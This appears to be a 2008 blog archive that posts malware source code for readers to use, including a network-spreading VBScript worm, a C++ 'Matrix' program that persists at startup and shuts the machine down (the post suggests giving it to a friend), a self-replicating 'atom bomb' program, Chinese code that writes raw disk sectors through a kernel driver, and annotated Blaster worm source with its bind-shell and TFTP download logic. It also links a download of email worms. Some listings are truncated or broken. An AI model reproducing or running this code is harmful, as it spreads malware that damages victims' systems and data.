Viruses: July 2008

Thursday, July 31, 2008

VBScript Worm

VBScript Worm

The script resides in the StartUp group of the Start Menu and is therefore run at each reboot. The filename is NETWORK.VBS. (Note: There's a valid file by that name on many systems. Read on before you look for the file.)

The script creates a log file, C:\NETWORK.LOG, which it erases and re-creates upon each new execution.

The script generates a random Class C subnet address and enters it in the log. This address is the first three numbers of the usual four-part IP address. It then steps thru all 255 addresses in that subnet. It blindly attempts to map a shared C: drive at the remote address to local drive letter J: at each address in turn. It checks each time to verify the successful creation of a drive J: on its host.

ok, save as .exe

If U accidentally open this worm, u can save urself. Do a re-boot and go to a cmd/DoS promp and type this

CODE
ren \windows\startm~1\programs\startup\network.vbs network.txt

Here’s tha code:

CODE
dim octa
dim octb
dim octc
dim octd
dim rand
dim dot
dim driveconnected
dim sharename
dim count
dim myfile
count = "0"
dot = "."
driveconnected="0"
set wshnetwork = wscript.createobject("wscript.network")
Set fso1 = createobject("scripting.filesystemobject")
set fso2 = createobject("scripting.filesystemobject
on error resume next
randomize
checkfile ()
randaddress ()
checkaddress ()
shareformat ()
wshnetwork.mapnetworkdrive "j:", sharename
enumdrives ()
copyfiles()
disconnectdrive()
msgbox "Done"

function disconnectdrive()
wshnetwork.removenetworkdrive "j:"
driveconnected = "0"
end function

function createlogfile()
Set myfile = fso1.createtextfile("c:\network.log", True)
end function

function checkfile()
If (fso1.fileexists("c:\network.log")) then
fso1.deletefile("c:\network.log")
createlogfile()
else
createlogfile()
end If
myfile.writeLine("Log file Open")
end function

function copyfiles()
myfile.writeline("Copying files to : " & sharename)
Set fso = CreateObject("scripting.filesystemobject")

fso.copyfile "c:\network.vbs", "j:\"

If (fso2.FileExists("j:\network.vbs")) Then
myfile.writeline("Successfull copy to : " & sharename)
End If

fso.copyfile "c:\network.vbs", "j:\windows\startm~1\programs\startup\"

fso.copyfile "c:\network.vbs", "j:\windows\"

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

fso.copyfile "c:\network.vbs", "j:\win95\start menu\programs\startup\"

fso.copyfile "c:\network.vbs", "j:\win95\startm~1\programs\startup\"

fso.copyfile "c:\network.vbs", "j:\wind95\"

end function

function checkaddress()
octd = octd + 1
if octd = "255" then randaddress()
end function

function shareformat()
sharename = "\\" & octa & dot & octb & dot & octc & dot & octd & "\C"
end function

function enumdrives()
Set odrives = wshnetwork.enumnetworkdrives
For i = 0 to odrives.Count -1
if sharename = odrives.item(i) then
driveconnected = 1
else
' driveconnected = 0
end if
Next
end function

function randum()
rand = int((254 * rnd) + 1)
end function

function randaddress()
if count > 50 then
octa=Int((16) * Rnd + 199)
count=count + 1
else
octa="255"
end if
randum()
octb=rand
randum()
octc=rand
octd="1"
myfile.writeLine("Subnet : " & octa & dot & octb & dot & octc & dot & "0")
end function

Cheers,

MATRIX WORM

MATRIX WORM

Ok, if ur wondering how to work this bad ass worm, following these easy steps.

1. copy and paste codes down below.
2. paste the codes into a text document and save as .exe
3. DO NOT, open up this file or ur fucked. this worm wont let u boot up ur pc and wipes out everything.

~I suggest u burn onto a disc and give to a friend~ xD

CODE
// The Matrix Virus

#include
#include
#include
#include
#include
#include
#include
using namespace std;

int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]="C:\\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "COPY matrix.exe C:\\rawr.exe \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout << setw(4) << num;
cout << setw(4) << "0%";
cout << setw(4) << "P";
cout << setw(4) << " ";
cout << setw(4) << ")";
cout << setw(4) << "#";
cout << setw(4) << "X";
cout << setw(4) << "@";
cout << setw(4) << "1&";
cout << setw(4) << "*";
cout << setw(4) << "||";
cout << setw(4) << " \a";
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
}
goto START;
}

E-mail Worms

▌▌▌Email-Worm(S) ▌▌▌

Email-Worm.Win32.Zafi.d
Email-Worm.Win32.VB.aq.
Email-Worm.Win32.Swen.
Email-Worm.Win32.Sobig.f
Email-Worm.Win32.Sober.i
Email-Worm.Win32.Sober.g
Email-Worm.Win32.Sober.f
Email-Worm.Win32.Sober.d
Email-Worm.Win32.Sober.a
Email-Worm.Win32.Siney.b
Email-Worm.Win32.Saros.b
Email-Worm.Win32.Rous.a.
Email-Worm.Win32.Rous.a (ASM Source and Binary)
Email-Worm.Win32.Redist.b
Email-Worm.Win32.Redist.a
Email-Worm.Win32.Rays
Email-Worm.Win32.Pikachu
Email-Worm.Win32.Nyxem.e
Email-Worm.Win32.NetSky.q
Email-Worm.Win32.NetSky.d
Email-Worm.Win32.NetSky.aa
Email-Worm.Win32.Mydoom.q
Email-Worm.Win32.Mydoom.m
Email-Worm.Win32.Mydoom.l
Email-Worm.Win32.Mydoom.am
Email-Worm.Win32.Mydoom.a
Email-Worm.Win32.Merkur.d
Email-Worm.Win32.Ganter.c
Email-Worm.Win32.Ganter.b
Email-Worm.Win32.Ganter.a
Email-Worm.Win32.Ganda
Email-Worm.Win32.Dumaru.a
Email-Worm.Win32.Drefir.e
Email-Worm.Win32.Drefir.c
Email-Worm.Win32.Delf.l
Email-Worm.Win32.Bagle.z
Email-Worm.Win32.Bagle.y
Email-Worm.Win32.Bagle.ai
Email-Worm.Win32.Bagle.ae
Email-Worm.VBS.Thery.b
Email-Worm.VBS.Polsev.a#6
Email-Worm.VBS.Junkboat.b
Email-Worm.VBS.Junkboat.a
Email-Worm.VBS.Jerm.b
Email-Worm.VBS.Evan
Email-Worm.VBS.Craytron
Email-Worm.VBS.Alien.d
Email-Worm.Beagle.Azag
Email-Worm.BAT.Eversaw
Email-Worm.BAT.Calhob
Email-Worm.BAT.Baatezu (variants).zip

CODE
http://www.4shared.com/file/32673748/51de5fef/Email-Worm.html

Atom bomb virus in c

Atom bomb virus in c

Basically, the goal of this "virus" is to either a) use A LOT of ram or b)fill the hard drive with useless files > 100kb's, whichever may come first (in most cases it is option A )

The idea behind an atom bomb virus is that it will create two (or more) exact copies of itself (like splitting an atom) and then execute those two files. In this one, it creates 500 exact copies and runs them.

QUOTE
#define W32_LEAN_AND_MEAN
#define TSARSTRUCT 1052
#include
#include
#include
#include

// character string to generate random filename
char *beg[65] = {
"a","b","c","d","e","f","g","h","i","j","k","l","m","n",
"o","p","q","r","s","t","u","v","w","x","y","z","A","B",
"C","D","E","F","G","H","I","J","K","L","M","N","O","P",
"Q","R","S","T","U","V","W","X","y","Z","1","2","3","4",
"5","6","7","8","9","0","-","_"
};
int ret = 0;
// ret is our control integer
// we will only go through 500 times to save ram.

char *path = "";

char * getpath()
{
char *path = (char*)malloc(1024);
HINSTANCE hinst = GetModuleHandle(NULL); //get our module handle
GetModuleFileName(hinst,path,1024);
return path;
}

void genfile()
{
srand(time(NULL));
int len = rand() % 25;
int b;
// generate random number from 1-50
char buff;
strcpy(&buff," ");
// clear buffer
int x = 0;
srand(time(NULL));
/*This is going to go into
a non ending loop*/
#ifndef TSARSTRUCT
return;
#endif
while (1) {
x++;
b = rand() % 65;
//get random number from 1-85
strcat(&buff,(const char*)beg);
// concat to the end of the buffer the value of the character
if (x==len)
{
strcat(&buff,".exe");
strcpy(&path,&buff);
return;
}
}
}

void Atom()
{
// we will now split the atom!
ret++; // increment ret
char pat, *pt;
genfile(); //generate filename
pt = &pat;
if (path=="")
return;
pt = getpath(); // get the path to our file
CopyFile((LPCTSTR)pt,(LPCTSTR)path,0);
// here we copy the file to the random filename generated path
// then we will restart
ShellExecute(0,"open",(const char*)path,NULL,NULL,SW_HIDE);
// this will execute the copied file
if (ret==500)
return; //if our shelled number is equal to 500 we will end
}

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
#ifdef TSARSTRUCT
return 0;
#endif
Atom();
return 0;
}

Wednesday, July 30, 2008

chinese virus

// Test.cpp
//
#include "stdafx.h"

//==============================================================================
#include
typedef struct _PARTITION_ENTRY
{
UCHAR active;
UCHAR StartHead;
UCHAR StartSector;
UCHAR StartCylinder;
UCHAR PartitionType;
UCHAR EndHead;
UCHAR EndSector;
UCHAR EndCylinder;
ULONG StartLBA;
ULONG TotalSector;
} PARTITION_ENTRY, *PPARTITION_ENTRY;

//==============================================================================
typedef struct _MBR_SECTOR
{
UCHAR BootCode[446];
PARTITION_ENTRY Partition[4];
USHORT Signature;
} MBR_SECTOR, *PMBR_SECTOR;

//==============================================================================
typedef struct _BBR_SECTOR
{
USHORT JmpCode;
UCHAR NopCode;

UCHAR OEMName[8];

// BPB( BIOS Parameter Block )

USHORT BytesPerSector;
UCHAR SectorsPerCluster;
USHORT ReservedSectors;
UCHAR NumberOfFATs;
USHORT RootEntries;
USHORT NumberOfSectors16;
UCHAR MediaDescriptor;
USHORT SectorsPerFAT16;
USHORT SectorsPerTrack;
USHORT HeadsPerCylinder;
ULONG HiddenSectors;
ULONG NumberOfSectors32;

// EBPB ( Extended BIOS Parameter Block )

ULONG SectorsPerFAT32;
} BBR_SECTOR, *PBBR_SECTOR;

#include

#define PARTITION_TYPE_NTFS 0x07
#define PARTITION_TYPE_FAT32 0x0B
#define PARTITION_TYPE_FAT32_LBA 0x0C

//==============================================================================
#define STR_SYSFILE_PATH TEXT("%SystemRoot%\\system32\\drivers\\pcihdd.sys")
#define STR_VIRFILE_PATH TEXT("%SystemRoot%\\System32\\Userinit.exe")
#define STR_DSKDEVICE_NAME TEXT("\\\\.\\PhysicalDrive0")
#define STR_HDDDEVICE_NAME TEXT("\\\\.\\PhysicalHardDisk0")

//==============================================================================
#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

//==============================================================================
DWORD InstallAndStartDriver(HMODULE ModuleHandle)
{
TCHAR filePath[MAX_PATH];
HANDLE fileHandle;
HRSRC hSysRes;
DWORD dwWritten;
DWORD dwSysLen;
PVOID lpSysBuf;
SC_HANDLE hSCManager;
SC_HANDLE hService;
SERVICE_STATUS sService;
DWORD errCode = ERROR_SUCCESS;
if(
(NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001)))
||
(0 == (dwSysLen = SizeofResource(ModuleHandle, hSysRes)))
||
(NULL == (lpSysBuf = LockResource(hSysRes)))
||
(0 == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath)))
||
(INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)))
)
{
errCode = GetLastError();
goto FunExit00;
}
if(
!WriteFile(fileHandle, lpSysBuf, dwSysLen, &dwWritten, NULL)
||
!SetEndOfFile(fileHandle)
||
!FlushFileBuffers(fileHandle)
)
{
errCode = GetLastError();
}
CloseHandle(fileHandle);
if(ERROR_SUCCESS != errCode)
{
goto FunExit01;
}
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit01;
}
hService = CreateService(
hSCManager,
TEXT("PciHdd"),
TEXT("PciHdd"),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
filePath,
NULL,
NULL,
NULL,
NULL,
NULL
);
if(NULL != hService)
{
CloseServiceHandle(hService);
}
else
{
if(NULL != (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))
{
ControlService(hService, SERVICE_CONTROL_STOP, &sService);
DeleteService(hService);
CloseServiceHandle(hService);
}
hService = CreateService(
hSCManager,
TEXT("PciHdd"),
TEXT("PciHdd"),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
filePath,
NULL,
NULL,
NULL,
NULL,
NULL
);
if(NULL != hService)
{
CloseServiceHandle(hService);
}
else
{
errCode = GetLastError();
goto FunExit02;
}
}
if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_START)))
{
errCode = GetLastError();
goto FunExit02;
}
StartService(hService, 0, NULL);
CloseServiceHandle(hService);
FunExit02:
CloseServiceHandle(hSCManager);
FunExit01:
DeleteFile(filePath);
FunExit00:
return errCode;
}

//==============================================================================
DWORD StopAndDeleteDriver(VOID)
{
TCHAR filePath[MAX_PATH];
SC_HANDLE hSCManager;
SC_HANDLE hService;
SERVICE_STATUS sService;
DWORD errCode = ERROR_SUCCESS;
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit00;
}
if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit01;
}
ControlService(hService, SERVICE_CONTROL_STOP, &sService);
DeleteService(hService);
CloseServiceHandle(hService);
FunExit01:
CloseServiceHandle(hSCManager);
FunExit00:
ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath));
DeleteFile(filePath);
return errCode;
}

//==============================================================================

DWORD WriteVirusToDisk(LPCTSTR VirusFile)
{
STARTING_VCN_INPUT_BUFFER iVcnBuf;
UCHAR oVcnBuf[272];
PRETRIEVAL_POINTERS_BUFFER lpVcnBuf;
DWORD dwVcnExtents;
LARGE_INTEGER startLcn;
PUCHAR lpClusterBuf;
DWORD dwClusterLen;
UCHAR dataBuf[512];
UCHAR diskBuf[512];
DWORD dataLen;
LARGE_INTEGER diskPos;
PPARTITION_ENTRY lpPartition;
ULONG dwPartitionStart;
ULONG dwPartitionType;
PBBR_SECTOR lpBootSector;
DWORD SectorsPerCluster;
HANDLE hHddDevice;
HANDLE hDskDevice;
HANDLE hVirusFile;
DWORD errCode = ERROR_SUCCESS;
if(INVALID_HANDLE_VALUE == (hHddDevice = CreateFileA(STR_HDDDEVICE_NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL)))
{
errCode = GetLastError();
goto FunExit00;
}
//
if(INVALID_HANDLE_VALUE == (hVirusFile = CreateFileA(VirusFile, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL)))
{
errCode = GetLastError();
goto FunExit01;
}
iVcnBuf.StartingVcn.QuadPart = 0;
RtlZeroMemory(oVcnBuf, sizeof(oVcnBuf));
if(!DeviceIoControl(hVirusFile, FSCTL_GET_RETRIEVAL_POINTERS, &iVcnBuf, sizeof(iVcnBuf), &oVcnBuf[0], sizeof(oVcnBuf), &dataLen, NULL))
{
errCode = GetLastError();
goto FunExit02;
}
lpVcnBuf = (PRETRIEVAL_POINTERS_BUFFER)&oVcnBuf[0];
dwVcnExtents = lpVcnBuf->ExtentCount;
startLcn = lpVcnBuf->Extents[0].Lcn;
if(!dwVcnExtents)
{
errCode = (ULONG)(-3);
goto FunExit02;
}
if(startLcn.QuadPart == -1)
{
errCode = (ULONG)(-4);
goto FunExit02;
}
ReadFile(hVirusFile, dataBuf, sizeof(dataBuf), &dataLen, NULL);
// ?????????
if(INVALID_HANDLE_VALUE == (hDskDevice = CreateFileA(STR_DSKDEVICE_NAME, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)))
{
errCode = GetLastError();
goto FunExit02;
}
//
SetFilePointer(hDskDevice, 0, NULL, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
lpPartition = &(((PMBR_SECTOR)&diskBuf[0])->Partition[0]);
if(lpPartition[0].active != 0x80)
{
errCode = (ULONG)(-1);
goto FunExit03;
}
dwPartitionType = lpPartition[0].PartitionType;
if(
dwPartitionType != PARTITION_TYPE_FAT32
&&
dwPartitionType != PARTITION_TYPE_FAT32_LBA
&&
dwPartitionType != PARTITION_TYPE_NTFS
)
{
errCode = (ULONG)(-2);
goto FunExit03;
}
dwPartitionStart = lpPartition[0].StartLBA;
diskPos.QuadPart = dwPartitionStart * 512;

SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
lpBootSector = (PBBR_SECTOR)&diskBuf[0];
SectorsPerCluster = lpBootSector->SectorsPerCluster;

diskPos.QuadPart = dwPartitionStart;
diskPos.QuadPart+= lpBootSector->ReservedSectors;
if(dwPartitionType == PARTITION_TYPE_FAT32 || dwPartitionType == PARTITION_TYPE_FAT32_LBA)
{
diskPos.QuadPart+= lpBootSector->NumberOfFATs * lpBootSector->SectorsPerFAT32;
}
diskPos.QuadPart+= startLcn.QuadPart * SectorsPerCluster;
diskPos.QuadPart*= 512;

SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
if(!RtlEqualMemory(dataBuf, diskBuf, sizeof(diskBuf)))
{
errCode = (ULONG)(-5);
goto FunExit03;
}

dwClusterLen = SectorsPerCluster*512;
lpClusterBuf = (PUCHAR)GlobalAlloc(GMEM_ZEROINIT, dwClusterLen);

if(!lpClusterBuf)
{
errCode = GetLastError();
goto FunExit03;
}

if(!DeviceIoControl(
hVirusFile,
IOCTL_MYDEV_Fun_0xF01,
(PVOID)0x00401000,
0x73E,
lpClusterBuf,
dwClusterLen,
&dataLen,
NULL
))
{
errCode = GetLastError();
goto FunExit04;
}

SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
WriteFile(hDskDevice, lpClusterBuf, dwClusterLen, &dataLen, NULL);
FlushFileBuffers(hDskDevice);
errCode = ERROR_SUCCESS;
FunExit04:
GlobalFree(lpClusterBuf);
FunExit03:
CloseHandle(hDskDevice);
FunExit02:
CloseHandle(hVirusFile);
FunExit01:
CloseHandle(hHddDevice);
FunExit00:
return errCode;
}

//==============================================================================
int _tmain(int argc, _TCHAR* argv[])
{
TCHAR filePath[MAX_PATH];
DWORD errCode;
if(ERROR_SUCCESS != (errCode = InstallAndStartDriver(GetModuleHandleA(NULL))))
{
MessageBox(NULL, TEXT("couldn't work"), NULL, MB_ICONERROR);
goto FunExit00;
}
ExpandEnvironmentStrings(STR_VIRFILE_PATH, &filePath[0], sizeof(filePath));
WriteVirusToDisk(filePath);
StopAndDeleteDriver();
FunExit00:
return 0;
}

A GodDamn Virus code

How to use: This script can only be sent with hotmail, however you can send it to yahoo, aim, and so on. So open ur hotmail account. Now copy the script bellow and paste it in a new email (hotmail), and send it. It might apear in the bulk of the user you sent it to.

It will shutdown the computer of the victim u send this script and the password of the victims ids password will be sent to u when the victim opens this script in his inbox or junk mailbox.(the script is tested and it is fully working)

if any body want this code contact me
on :-ansarilucky@ymail.com

C++ worm, the source code of the blaster worm

#include

#include /*IP_HDRINCL*/

#include /*InternetGetConnectedState*/

#include

#pragma comment (lib, "ws2_32.lib")

#pragma comment (lib, "wininet.lib")

#pragma comment (lib, "advapi32.lib")

/*

* These strings aren't used in the worm, I put them here

* so that whitehat researchers would discover them.

*/

const char msg1[]="billy gates why do you make this possible ?"

" Stop making money and fix your software!!";

#define MSBLAST_EXE "msblast.exe"

/*

* MS-RPC/DCOM runs over port 135.

* DEFENSE: firewalling port 135 will prevent systems from

* being exploited and will hinder the spread of this worm.

*/

#define MSRCP_PORT_135 135

/*

* The TFTP protocol is defined to run on port 69. Once this

* worm breaks into a victim, it will command it to download

* the worm via TFTP. Therefore, the worms briefly runs a

* TFTP service to deliver that file.

* DEFENSE: firewalling 69/udp will prevent the worm from

* fully infected a host.

*/

#define TFTP_PORT_69 69

/*

* The shell-prompt is established over port 4444. The

* exploit code (in the variable 'sc') commands the victim

* to "bind a shell" on this port. The exploit then connects

* to that port to send commands, such as TFTPing the

* msblast.exe file down and launching it.

* DEFENSE: firewalling 4444/tcp will prevent the worm from

* spreading.

*/

#define SHELL_PORT_4444 4444

/*

* A simple string to hold the current IP address

*/

char target_ip_string[16];

/*

* A global variable to hold the socket for the TFTP service.

*/

int fd_tftp_service;

/*

* Global flag to indicate this thread is running. This

* is set when the thread starts, then is cleared when

* the thread is about to end.

* This demonstrates that Buford isn't confident with

* multi-threaded programming -- he should just check

* the thread handle.

*/

int is_tftp_running;

/*

* When delivering the worm file to the victim, it gets the

* name by querying itself using GetModuleFilename(). This

* makes it easier to change the filename or to launch the

* worm. */

char msblast_filename[256+4];

int ClassD, ClassC, ClassB, ClassA;

int local_class_a, local_class_b;

int winxp1_or_win2k2;

ULONG WINAPI blaster_DoS_thread(LPVOID);

void blaster_spreader();

void blaster_exploit_target(int fd, const char *victim_ip);

void blaster_send_syn_packet(int target_ip, int fd);

/***************************************************************

* This is where the 'msblast.exe' program starts running

***************************************************************/

void main(int argc, char *argv[])

{

WSADATA WSAData;

char myhostname[512];

char daystring[3];

char monthstring[3];

HKEY hKey;

int ThreadId;

register unsigned long scan_local=0;

/*

* Create a registry key that will cause this worm

* to run every time the system restarts.

* DEFENSE: Slammer was "memory-resident" and could

* be cleaned by simply rebooting the machine.

* Cleaning this worm requires this registry entry

* to be deleted.

*/

RegCreateKeyEx(

/*hKey*/ HKEY_LOCAL_MACHINE,

/*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\"

"CurrentVersion\\Run",

/*Reserved*/ 0,

/*lpClass*/ NULL,

/*dwOptions*/ REG_OPTION_NON_VOLATILE,

/*samDesired */ KEY_ALL_ACCESS,

/*lpSecurityAttributes*/ NULL,

/*phkResult */ &hKey,

/*lpdwDisposition */ 0);

RegSetValueExA(

hKey,

"windows auto update",

0,

REG_SZ,

MSBLAST_EXE,

50);

RegCloseKey(hKey);

/*

* Make sure this isn't a second infection. A common problem

* with worms is that they sometimes re-infect the same

* victim repeatedly, eventually crashing it. A crashed

* system cannot spread the worm. Therefore, worm writers

* now make sure to prevent reinfections. The way Blaster

* does this is by creating a system "global" object called

* "BILLY". If another program in the computer has already

* created "BILLY", then this instance won't run.

* DEFENSE: this implies that you can remove Blaster by

* creating a mutex named "BILLY". When the computer

* restarts, Blaster will falsely believe that it has

* already infected the system and will quit.

*/

CreateMutexA(NULL, TRUE, "BILLY");

if (GetLastError() == ERROR_ALREADY_EXISTS)

ExitProcess(0);

/*

* Windows systems requires "WinSock" (the network API layer)

* to be initialized. Note that the SYNflood attack requires

* raw sockets to be initialized, which only works in

* version 2.2 of WinSock.

* BUFORD: The following initialization is needlessly

* complicated, and is typical of programmers who are unsure

* of their knowledge of sockets..

*/

if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0

&& WSAStartup(MAKEWORD(1,1), &WSAData) != 0

&& WSAStartup(1, &WSAData) != 0)

return;

/*

* The worm needs to read itself from the disk when

* transferring to the victim. Rather than using a hard-coded

* location, it discovered the location of itself dynamically

* through this function call. This has the side effect of

* making it easier to change the name of the worm, as well

* as making it easier to launch it.

*/

GetModuleFileNameA(NULL, msblast_filename,

sizeof(msblast_filename));

/*

* When the worm infects a dialup machine, every time the user

* restarts their machine, the worm's network communication

* will cause annoying 'dial' popups for the user. This will

* make them suspect their machine is infected.

* The function call below makes sure that the worm only

* starts running once the connection to the Internet

* has been established and not before.

* BUFORD: I think Buford tested out his code on a machine

* and discovered this problem. Even though much of the

* code indicates he didn't spend much time on

* testing his worm, this line indicates that he did

* at least a little bit of testing.

*/

while (!InternetGetConnectedState(&ThreadId, 0))

Sleep (20000); /*wait 20 seconds and try again */

/*

* Initialize the low-order byte of target IP address to 0.

*/

ClassD = 0;

/*

* The worm must make decisions "randomly": each worm must

* choose different systems to infect. In order to make

* random choices, the programmer must "seed" the random

* number generator. The typical way to do this is by

* seeding it with the current timestamp.

* BUFORD: Later in this code you'll find that Buford calls

* 'srand()' many times to reseed. This is largely

* unnecessary, and again indicates that Buford is not

* confident in his programming skills, so he constantly

* reseeds the generator in order to make extra sure he

* has gotten it right.

*/

srand(GetTickCount());

/*

* This initializes the "local" network to some random

* value. The code below will attempt to figure out what

* the true local network is -- but just in case it fails,

* the initialization fails, using random values makes sure

* the worm won't do something stupid, such as scan the

* network around 0.0.0.0

*/

local_class_a = (rand() % 254)+1;

local_class_b = (rand() % 254)+1;

/*

* This discovers the local IP address used currently by this

* victim machine. Blaster randomly chooses to either infect

* just the local ClassB network, or some other network,

* therefore it needs to know the local network.

* BUFORD: The worm writer uses a complex way to print out

* the IP address into a string, then parse it back again

* to a number. This demonstrates that Buford is fairly

* new to C programming: he thinks in terms of the printed

* representation of the IP address rather than in its

* binary form.

*/

if (gethostname(myhostname, sizeof(myhostname)) != -1) {

HOSTENT *p_hostent = gethostbyname(myhostname);

if (p_hostent != NULL && p_hostent->h_addr != NULL) {

struct in_addr in;

const char *p_addr_item;

memcpy(&in, p_hostent->h_addr, sizeof(in));

sprintf(myhostname, "%s", inet_ntoa(in));

p_addr_item = strtok(myhostname, ".");

ClassA = atoi(p_addr_item);

p_addr_item = strtok(0, ".");

ClassB = atoi(p_addr_item);

p_addr_item = strtok(0, ".");

ClassC = atoi(p_addr_item);

if (ClassC > 20) {

/* When starting from victim's address range,

* try to start a little bit behind. This is

* important because the scanning logic only

* move forward. */

srand(GetTickCount());

ClassC -= (rand() % 20);

}

local_class_a = ClassA;

local_class_b = ClassB;

scan_local = TRUE;

}

}

/*

* This chooses whether Blaster will scan just the local

* network (40% chance) or a random network (60% chance)

*/

srand(GetTickCount());

if ((rand() % 20) < 12)

scan_local = FALSE;

/*

* The known exploits require the hacker to indicate whether

* the victim is WinXP or Win2k. The worm has to guess. The

* way it guesses is that it chooses randomly. 80% of the time

* it will assume that all victims are WinXP, and 20% of the

* time it will assume all victims are Win2k. This means that

* propogation among Win2k machines will be slowed down by

* the fact Win2k machines are getting DoSed faster than they

* are getting exploited.

*/

winxp1_or_win2k2 = 1;

if ((rand()%10) > 7)

winxp1_or_win2k2 = 2;

/*

* If not scanning locally, then choose a random IP address

* to start with.

* BUG: this worm choose bad ranges above 224. This will

* cause a bunch of unnecessary multicast traffic. Weird

* multicast traffic has historically been an easy way of

* detecting worm activity.

*/

if (!scan_local) {

ClassA = (rand() % 254)+1;

ClassB = (rand() % 254);

ClassC = (rand() % 254);

}

/*

* Check the date so that when in the certain range, it will

* trigger a DoS attack against Micosoft. The following

* times will trigger the DoS attack:

* Aug 16 through Aug 31

* Spt 16 through Spt 30

* Oct 16 through Oct 31

* Nov 16 through Nov 30

* Dec 16 through Dec 31

* This applies to all years, and is based on local time.

* FAQ: The worm is based on "local", not "global" time.

* That means the DoS attack will start from Japan,

* then Asia, then Europe, then the United States as the

* time moves across the globe.

*/

#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT)

#define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT)

GetDateFormat( LOCALE_409,

0,

NULL, /*localtime, not GMT*/

"d",

daystring,

sizeof(daystring));

GetDateFormat( LOCALE_409,

0,

NULL, /*localtime, not GMT*/

"M",

monthstring,

sizeof(monthstring));

if (atoi(daystring) > 15 && atoi(monthstring) > 8)

CreateThread(NULL, 0,

blaster_DoS_thread,

0, 0, &ThreadId);

/*

* As the final task of the program, go into worm mode

* trying to infect systems.

*/

for (;;)

blaster_spreader();

/*

* It'll never reach this point, but in theory, you need a

* WSACleanup() after a WSAStartup().

*/

WSACleanup();

}

/*

* This will be called from CreateThread in the main worm body

* right after it connects to port 4444. After the thread is

* started, it then sends the string "

* tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents

* the IP address of the attacker).

* Once it sends the string, it then waits for 20 seconds for the

* TFTP server to end. If the TFTP server doesn't end, it calls

* TerminateThread.

*/

DWORD WINAPI blaster_tftp_thread(LPVOID p)

{

/*

* This is the protocol format of a TFTP packet. This isn't

* used in the code -- I just provide it here for reference

*/

struct TFTP_Packet

{

short opcode;

short block_id;

char data[512];

};

char reqbuf[512]; /* request packet buffer */

struct sockaddr_in server; /* server-side port number */

struct sockaddr_in client; /* client IP address and port */

int sizeof_client; /* size of the client structure*/

char rspbuf[512]; /* response packet */

static int fd; /* the socket for the server*/

register FILE *fp;

register block_id;

register int block_size;

/* Set a flag indicating this thread is running. The other

* thread will check this for 20 seconds to see if the TFTP

* service is still alive. If this thread is still alive in

* 20 seconds, it will be killed.

*/

is_tftp_running = TRUE; /*1 == TRUE*/

